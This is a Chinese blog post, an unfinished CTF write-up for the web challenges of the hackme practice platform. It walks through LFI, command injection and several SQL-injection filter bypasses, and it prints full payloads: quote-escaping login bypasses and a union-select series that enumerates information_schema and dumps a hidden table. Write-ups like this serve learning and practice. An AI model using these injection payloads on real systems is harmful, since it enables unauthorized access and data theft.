logo头像

黑客的本质就是白嫖

hackme web wp(未完)

本文于 545 天之前发表,文中内容可能已经过时。

前言

由于没有找到实习,上学期的计划需要执行起来了,每周一篇技术向博客,虽然自己很菜只能写写wp之类的,希望学期过完可以学到比较多的东西吧
这次找的是学弟说的一个平台,台湾的hackme,暂时先做做web部分,等之后能力上来了可以考虑做做二进制部分

writeup

0x01 hide and seek

前几题基本上都是入门题,没什么难度
直接查看源代码,在底部找到flag

0x02 guestbook

题目提示使用sqlmap,尝试一下手工注入
测试列数
hackme3
hackme4
查看回显点
hackme5
注库名表名字段名
hackme6
hackme7
hackme8

0x03 LFI

url格式以及提示,这是一个本地文件包含即LFI的题目
hackme9
各个页面点了一下感觉没什么特殊的,查看源代码
hackeme10
尝试包含,得到base64编码后的源文件代码
hackme11
解码,指向另一个文件,继续包含
hackme12
hackme13
得到config.php文件源码,解码得到flag

0x04 homepage

点击题目链接后跳转至主页,查看源代码,找了一会点开cute.js,里面是一串AAEncode后的字符串
hackme14
解密后得到一串js代码,看样子是画出二维码
hackme15
用之前写的python脚本直接画图,打开excel扫描得到flag
附脚本:

1
2
3
4
5
6
7
8
9
10
11
12
from openpyxl import Workbook
from openpyxl.styles import PatternFill

wb = Workbook()
ws = wb.active
fill = PatternFill(start_color ='00000000', end_color = '00000000', fill_type = 'solid')
a = [] #放二进制数据
for i in range(len(a)):
for j in range(len(a[i])):
if(a[i][j]=='1'):
ws.cell(row = i+1,column = j+1,value = "").fill=fill
wb.save("C:\\qrcode1.xlsx")

0x05 ping

题目打开直接有源码,是一道命令注入题目
hackme16
可以看到过滤了很多符号,不过反引号`和$()都没有被过滤,测试一下
hackme17
hackme18
但是没有了读取的命令貌似,百度了一下,还有很多,随便用了一个
hackme19
okey

0x06 scoreboard

又回到最初的起点???
四处找寻最后在header里面找到了

0x07 login as admin 0

网站突然进不去了,之后再做(真的不是我想偷懒)
I’m back!
题目说是sql注入,附带了源代码,首先看下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
strstr($strl, 'update') || strstr($strl, 'delete')
) {
return '';
}
return str_replace("'", "\\'", $str);
}
$_POST = array_map(safe_filter, $_POST);
...
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
$_POST['name'],
$_POST['password']
);

这是比较关键的过滤以及sql语句部分
这里需要用'单引号来闭合查询语句,并在之后加上or 1=1#给查询语句一个真值
但是可以看到,'被替换成了\\',这样的话,可以使用\'来代替单引号,这样替换后的反斜杠\就会被我们加入的反斜杠\给转义掉,这样的话,payload就是admin\'/**/or/**/1=1#
hackme20
尝试一下发现能登陆,但是提示我们仍然不是admin,问题出在哪里呢?首先我们能登陆,说明这个payload绕过是正确的,并且在服务器上执行的语句应该是select * from `user` where `user`='admin' or 1=1
这样得出的结果会是所有useradmin的用户,而默认返回的是第一条,这样的话说明服务器里useradmin的用户不止一个,我们看看第二个
hackme21
得到flag,最终payloadadmin\'/**/or/**/1=1/**/limit/**/1,1#,密码随便

0x08 login as admin 0.1

一进题目,非常熟悉的页面,看了一下url,就是上一题???
不过依稀记得上题最后拿到flag的时候旁边还有一句话,再去看看
hackme22
既然是在数据库里,那么就要想办法把他给弄出来
和第二题一样,用order by确定列数,然后借information_schema来得到信息,各个步骤payload如下

1
2
3
4
5
6
7
admin\'/**/or/**/1=1/**/order/**/by/**/4#
admin\'/**/or/**/1=1/**/order/**/by/**/5#
aaaaaaaaaa\'/**/or/**/1=1/**/union/**/select/**/1,2,3,4#
aaaaaaaaaa\'/**/union/**/select/**/1,(select/**/database()),3,4#
aaaaaaaaaa\'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3,4#
aaaaaaaaaa\'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x68316464656e5f66313467),3,4#
aaaaaaaaaa\'/**/union/**/select/**/1,(select/**/the_f14g/**/from/**/h1dden_f14g),3,4#

0x09 Login as Admin 1

和之前的题目要求一样,通过amdin登录
差别在过滤的字符串变了几个

1
2
3
4
5
6
7
8
9
10
11

function safe_filter($str)
{
$strl = strtolower($str);
if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
strstr($strl, 'union select') || strstr($strl, 'select ')
) {
return '';
}
return str_replace("'", "\\'", $str);
}

之前的payload貌似还能用,只是需要改一个地方,因为1=1被过滤了,这样换成2=2好了嘻嘻嘻
最后payloadadmin\'/**/or/**/2=2/**/limit/**/1,1#

0x0a login as admin 1.2

和前面一样,题目链接相同,flag2在数据库里
总之先登录试试看
hackme23
这题的用户名是直接用的用户输入,没有回显(因为这个我上一题老是觉得自己payload错了),那这样就需要盲注了

hackme24
hackme25
hackme26
hackme27
hackme28
hackme29
hackme30

评论系统未开启,无法评论!